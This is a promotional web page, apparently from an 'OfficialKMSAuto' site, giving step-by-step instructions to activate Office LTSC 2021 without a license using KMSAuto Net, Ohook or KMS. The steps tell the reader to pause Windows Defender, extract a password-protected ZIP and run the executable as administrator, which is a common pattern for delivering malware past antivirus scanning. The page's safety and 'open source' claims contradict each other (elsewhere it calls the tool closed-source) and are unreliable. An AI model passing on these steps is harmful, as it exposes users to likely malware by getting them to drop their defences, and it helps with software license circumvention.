How to Activate Office 2021 LTSC Free 2026 — Step-by-Step Guide
Office LTSC 2021 activation — Ohook permanent or KMS 180-day renewable. Both bundled in KMSAuto Net.
WYqejXiqBi97Office LTSC 2021 is the perpetual version sold to organizations. Both Ohook and KMS work; Ohook is recommended.
Step-by-step activation
Follow these steps exactly — the whole process takes under two minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the ZIP using the password WYqejXiqBi97
- Right-click the executable and choose 'Run as administrator'
- Pick the recommended method (HWID, Ohook or TSforge)
- Wait for 'Successfully activated' then reboot
After activation — what to check
Open elevated CMD and run slmgr /xpr for Windows or ospp.vbs /dstatus from the Office folder. You should see a permanent or 180-day-renewing licensed state.
Frequently asked questions
▸Is this method free?
Yes — every activation method covered here is 100% free with OfficialKMSAuto.
▸Will it survive Windows updates?
Yes. HWID, Ohook and TSforge are designed to persist across feature updates and even fresh reinstalls on the same hardware.
▸Is an internet connection required?
Only HWID needs a brief one-time internet handshake. Ohook, KMS38 and TSforge work fully offline.
▸Does it work on Windows 11 24H2?
Yes. OfficialKMSAuto ships TSforge specifically to handle 24H2 and the latest Server 2025 builds.
▸What is the archive password?
WYqejXiqBi97 — shown on every download button on this site.
Read this article in another language
Related articles
Clean All Traces Activation Method 2026 — Complete Guide
Use KMSCleaner inside KMSAuto Net to remove all KMS keys, scheduled tasks and emulator services.
Read article →
No Virus Activator — Safety Analysis 2026
Our KMSAuto Net 2026 build is clean on VirusTotal except generic HackTool flags (standard for KMS tools).
Read article →
Mini KMS Activation Tool Download 2026 — Free Windows & Office Activator
Mini KMS Activation Tool: the tiny Office-focused KMS activator. Activates Office 2010–2024 in 30 seconds. Portable, fully offline.
Read article →
KMSAuto हिंदी Download 2026 — Free Windows & Office Activator
KMSAuto Net 2026 हिंदी में डाउनलोड करें — Windows और Office के लिए मुफ्त एक्टिवेटर।
Read article →
Mirror Sites Download 2026 — Free Windows & Office Activator
Only trust mirrors that publish SHA-256 hashes and link to VirusTotal. OfficialKMSAuto + Ratiborus blog are safe.
Read article →
KMSAuto Source Code — Safety Analysis 2026
KMSAuto Net is closed-source but the underlying methods (HWID, Ohook, TSforge) are documented in MAS public repo.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97